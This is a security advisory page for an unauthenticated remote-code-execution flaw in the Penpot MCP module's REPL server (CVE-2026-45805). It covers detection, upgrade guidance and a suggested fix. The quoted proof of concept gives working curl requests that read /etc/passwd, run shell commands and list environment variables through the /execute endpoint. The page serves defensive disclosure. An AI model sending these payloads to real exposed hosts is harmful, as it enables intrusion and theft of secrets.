CVE-2026-45805: PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
The Penpot MCP module (@penpot/mcp) before 2.15.0 starts a REPL server on all network interfaces, port 4403, with a /execute endpoint that runs any JavaScript posted to it and needs no authentication. Anyone who can reach the port gets code execution on the machine. Upgrade to 2.15.0.
Published May 19, 2026 · Analysis Oct 27, 2026
What an attacker can do
ReplServer.ts calls this.app.listen(this.port, ...) at line 89 without a host argument, so Express binds to 0.0.0.0. The POST /execute handler (lines 52-79) reads a code field from the JSON body and runs it through PluginBridge.executePluginTask() with an ExecuteCodePluginTask. There is no auth middleware or token check.
The reporter's proof of concept used curl to run os.hostname(), read /etc/passwd, run id through child_process.execSync, and dump environment variable names. They also reached the port from a Docker container on the same network. Environment variables on such hosts often hold database credentials and API keys.
An earlier report (#8683) caused a partial fix to the main PenpotMcpServer, which now binds to localhost by default, but ReplServer.ts was missed. The MCP module is not in the default Docker deployment. It is run by developers and teams who use the MCP integration for AI-assisted design work, on laptops, shared dev hosts or CI. The attacker needs only network adjacency to the port (CVSS vector AV:A), with no login and no user action.
Who is affected
The npm package @penpot/mcp below 2.15.0. Check the version:
npm ls @penpot/mcpCheck whether the REPL server is listening on all interfaces:
ss -tlnp | grep 4403A *:4403 or :::4403 listener means it is exposed to the network. A listener on 127.0.0.1 is not.
@penpot/mcp
- Ecosystem
- npm
- Affected
- < 2.15.0
- Fixed in
- 2.15.0
- Check
npm ls @penpot/mcp
How to fix it
Upgrade @penpot/mcp to 2.15.0. The advisory page does not describe the shipped code change. The reporter suggested binding the listener to localhost and requiring a shared secret on /execute, and 2.15.0 may do either, so confirm after upgrading with the ss command above.
No workaround is given. Until you upgrade, stop the MCP module when you are not using it, and block inbound access to TCP port 4403 with a host firewall or container network rule.
How to tell if you were hit
Run ss -tlnp | grep 4403 on hosts that run the Penpot MCP module. Check server or firewall logs for connections to port 4403 from other hosts or containers, and for POST /execute requests with a JSON code field that you did not send. Unexpected child processes of the node process, such as sh, curl or id, point to command execution. If a host was exposed, treat the secrets in its environment as leaked and rotate them. Beam can show what an AI agent ran next to this server; it records agent shell commands and MCP tool calls.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.
Details
mcp/packages/server/src/ReplServer.ts:89:
this.server = this.app.listen(this.port, () => {
// NO HOST ARGUMENT — Express defaults to 0.0.0.0Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):
this.app.listen(this.port, this.host, async () => {The /execute endpoint at ReplServer.ts:52-79:
this.app.post("/execute", async (req, res) => {
const { code } = req.body;
// No auth check. Executes code via PluginBridge.executePluginTask()
const task = new ExecuteCodePluginTask({ code });
const result = await this.pluginBridge.executePluginTask(task);No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.
This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.
PoC
I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YESUnauthenticated code execution:
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}Binding verification:
$ ss -tlnp | grep 4403
LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))Listening on *:4403 — all interfaces.
Remote access from Docker container:
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)Reachable from any container on the Docker network.
Impact
Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.
Suggested fix
Two lines:
- Add a
hostparameter to the listen call inReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {- Add authentication to the
/executeendpoint. Even a shared secret from an environment variable would be better than nothing.
Credited to AyushParkara, overgrowncarrot1.
Questions
- Is the Penpot MCP /execute endpoint authenticated?
In versions below 2.15.0 it is not. Any client that can reach port 4403 can POST a JSON body with a
codefield and have the server run it.- Does a default Penpot Docker install expose this?
The advisory says the MCP module is not part of the default Docker deployment. Only people who run the MCP integration are exposed.
- Is it enough to run it on localhost?
The vulnerable code binds to every interface, so you must verify the listener or firewall the port. On a machine reachable by other hosts or containers, it is exposed.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026
